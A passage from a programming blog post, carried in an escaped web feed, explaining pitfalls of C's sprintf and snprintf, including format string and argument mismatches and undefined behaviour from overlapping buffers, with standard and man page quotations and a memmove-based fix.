class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">strlen<\/span><span class=\"p\">(<\/span><span class=\"n\">t<\/span><span class=\"p\">))<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"mi\">0<\/span><span class=\"p\">;<\/span>\n<\/code><\/pre><\/div>\n\n<p>The <code>MIN<\/code> macro may come from e.g. <code>&lt;sys\/param.h&gt;<\/code> - even if\nimplemented in the obvious way - an optimizing compiler is able\nto generate code where <code>strlen()<\/code> is only called once.<\/p>\n<p>One might argue that <code>snprintf<\/code> makes the code easier to grasp. I\ndon't think so.  And that the runtime overhead surely can't be\nthat bad. Perhaps. But: if runtime is not that important, then\none even can use a scripting language that provides very\nconvenient string formatting facilities (e.g. Python) for that\ntask. And if C is not a requirement than e.g. C++ is the better\nalternative to write high-level code that looks sane <em>and<\/em> is efficient.<\/p>\n<p>Btw, often, silent truncation is also not the best solution - i.e.\nperhaps it even makes more sense to just return an error if the\ndestination buffer is too small.<\/p>\n<h2 id=\"the-pitfalls\">The Pitfalls<a class=\"headerlink\" href=\"#the-pitfalls\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Like with other functions that accept C format strings, the usual\npitfalls apply. There is no safety mode at runtime that checks,\nif the number of arguments and types indicated by the format\nstring actually match the supplied arguments. For example:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">sprintf<\/span><span class=\"p\">(<\/span><span class=\"n\">s<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"s\">&quot;Hello %s&quot;<\/span><span class=\"p\">);<\/span>\n<\/code><\/pre><\/div>\n\n<p>The C-string argument is missing, likely to segfault at runtime.\nA wrong type:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"kt\">int<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"mi\">1<\/span>\n<span class=\"n\">sprintf<\/span><span class=\"p\">(<\/span><span class=\"n\">s<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"s\">&quot;Hello %s&quot;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"p\">);<\/span>\n<\/code><\/pre><\/div>\n\n<p>Effectively, the int is cast to a char pointer.<\/p>\n<p>Those format string issues can be more subtle, e.g.<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">sprintf<\/span><span class=\"p\">(<\/span><span class=\"n\">s<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"s\">&quot;sizeof(long) = %d&quot;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"k\">sizeof<\/span><span class=\"p\">(<\/span><span class=\"kt\">long<\/span><span class=\"p\">));<\/span>\n<\/code><\/pre><\/div>\n\n<p>has the issue that the type of <code>sizeof()<\/code> is <code>size_t<\/code> which\nshould be referenced with the <code>%zu<\/code> specification - such that the\ncode stays portable.<\/p>\n<p>Modern compilers like GCC and Clang helpfully warn about such\nformat string related issues. But compilers like Solaris Studio\n(as of 12.3) still don't.<\/p>\n<p>As always, if format strings are constructed from user input, one\nhas to take measures against injected format strings.<\/p>\n<h2 id=\"the-bad\">The Bad<a class=\"headerlink\" href=\"#the-bad\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The real WTF is using <code>sprintf()<\/code>\/<code>snprintf()<\/code> with overlapping\nbuffers because this yields undefined behaviour. Classic example:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">sprintf<\/span><span class=\"p\">(<\/span><span class=\"n\">s<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"s\">&quot;%s&lt;tag&gt;%s&lt;\/tag&gt;&quot;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">s<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">t<\/span><span class=\"p\">);<\/span>\n<\/code><\/pre><\/div>\n\n<p>Here, the first argument completely overlaps with the destination\nbuffer. Besides the effect of this statement being undefined,\neven if it works as intended, it is very inefficient. Not only is\na format string parsed at runtime - already written prefixes are\nrewritten with each such call, leading to quadratic runtime\n(instead of a linear one).<\/p>\n<p>That <code>sprintf()<\/code>\/<code>snprintf()<\/code> on overlapping buffers is undefined behaviour\nisn't special to those functions. It is a common theme with C\nfunctions that copy between buffers. It is the reason d'etre for\n<code>memmove()<\/code>.<\/p>\n<p>The C standard is pretty clear about this, too:<\/p>\n<blockquote>\n<p>If copying takes place between objects that overlap, the\nbehavior is undefined.<\/p>\n<\/blockquote>\n<p>(ISO C99, 7.19.6.6 (2))<\/p>\n<p>Sure, not everybody has a copy of the C standard lying around.\nBut the <a href=\"https:\/\/en.wikipedia.org\/wiki\/POSIX\">POSIX<\/a> standard (or <a href=\"https:\/\/en.wikipedia.org\/wiki\/Single_UNIX_Specification\">SUSv2<\/a>) is freely available and\nuses a <a href=\"http:\/\/pubs.opengroup.org\/onlinepubs\/9699919799\/functions\/fprintf.html\">similar wording<\/a>:<\/p>\n<blockquote>\n<p>If copying takes place between objects that overlap as a result\nof a call to <code>sprintf()<\/code> or <code>snprintf()<\/code>, the results are\nundefined.<\/p>\n<\/blockquote>\n<p>(<a href=\"http:\/\/pubs.opengroup.org\/onlinepubs\/9699919799\/functions\/fprintf.html\">fprintf(3p)<\/a>)<\/p>\n<p>Of course, the POSIX man pages are not installed by default on every\nsystem, but even the <a href=\"https:\/\/www.freebsd.org\/cgi\/man.cgi?query=sprintf&amp;apropos=0&amp;sektion=3&amp;manpath=CentOS+7.1&amp;arch=default&amp;format=html\">Linux man page<\/a> is helpful, as well:<\/p>\n<blockquote>\n<p>C99  and  POSIX.1-2001 specify that the results are undefined\nif a call to <code>sprintf()<\/code>, <code>snprintf()<\/code>, <code>vsprintf()<\/code>, or <code>vsnprintf()<\/code>\nwould cause copying to take place between objects that overlap\n(e.g., if the target string array and one of the supplied input\narguments refer to the same buffer).  See NOTES.<\/p>\n<\/blockquote>\n<p>(<a href=\"https:\/\/www.freebsd.org\/cgi\/man.cgi?query=sprintf&amp;apropos=0&amp;sektion=3&amp;manpath=CentOS+7.1&amp;arch=default&amp;format=html\">sprintf(3)<\/a>)<\/p>\n<p>Where the notes even give a concrete example:<\/p>\n<blockquote>\n<p>Some programs imprudently rely on code such as the following<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">sprintf<\/span><span class=\"p\">(<\/span><span class=\"n\">buf<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"s\">&quot;%s some further text&quot;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">buf<\/span><span class=\"p\">);<\/span>\n<\/code><\/pre><\/div>\n\n<p>to append text to <code>buf<\/code>.  However, the standards explicitly note that the\nresults are undefined if source  and  destination  buffers\noverlap  when  calling  <code>sprintf()<\/code>, <code>snprintf()<\/code>, <code>vsprintf()<\/code>, and <code>vsnprintf()<\/code>.\nDepending on the version of gcc(1) used, and the compiler options employed,\ncalls such as the above will <strong>not<\/strong> produce the expected results.<\/p>\n<\/blockquote>\n<p>(<a href=\"https:\/\/www.freebsd.org\/cgi\/man.cgi?query=sprintf&amp;apropos=0&amp;sektion=3&amp;manpath=CentOS+7.1&amp;arch=default&amp;format=html\">sprintf(3)<\/a>, emphasis theirs)<\/p>\n<p>Although there are man pages that don't document this behavior\n(e.g. Solaris 10, <a href=\"https:\/\/www.freebsd.org\/cgi\/man.cgi?query=sprintf&amp;apropos=0&amp;sektion=3&amp;manpath=FreeBSD+10.3-RELEASE&amp;arch=default&amp;format=html\">FreeBSD 10.3<\/a>) - it should be pretty well-known. <\/p>\n<p>Still, some enterprise C programmers seem to like this anti\npattern a lot.  Of course, such code has optimizations disabled\n(because they \"can't be trusted and are often buggy\" - blame the\ncompiler, not the code ...) and contains other cargo cult\nmeasures. A variation, a combination of the bad with the ugly:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"nf\">trim_left<\/span><span class=\"p\">(<\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">s<\/span><span class=\"p\">)<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">  <\/span><span class=\"k\">while<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"o\">*<\/span><span class=\"n\">s<\/span><span class=\"w\"> <\/span><span class=\"o\">==<\/span><span class=\"w\"> <\/span><span class=\"sc\">&#39; &#39;<\/span><span class=\"p\">)<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">sprintf<\/span><span class=\"p\">(<\/span><span class=\"n\">s<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"s\">&quot;%s&quot;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">s<\/span><span class=\"o\">+<\/span><span class=\"mi\">1<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">  <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"n\">s<\/span><span class=\"p\">;<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>Fun comment about a similar function I stumbled on: 'fast code\nbecause the loop is tight!11!'<\/p>\n<p>(The obvious and efficient way to do this is to determine the\nprefix length first and then call <code>memmove()<\/code> once.)<\/p>\n<p>Because this issue has come to my notice relatively often in work\nrelated contexts (and since GCC 5\/Clang 3.9 don't warn about it),\nI think about writing a check for <a href=\"http:\/\/clang.llvm.org\/extra\/clang-tidy\/\">clang-tidy<\/a>.<\/p>","category":[{"@attributes":{"term":"C"}},{"@attributes":{"term":"C"}},{"@attributes":{"term":"AntiPattern"}},{"@attributes":{"term":"UndefinedBehaviour"}}]}]}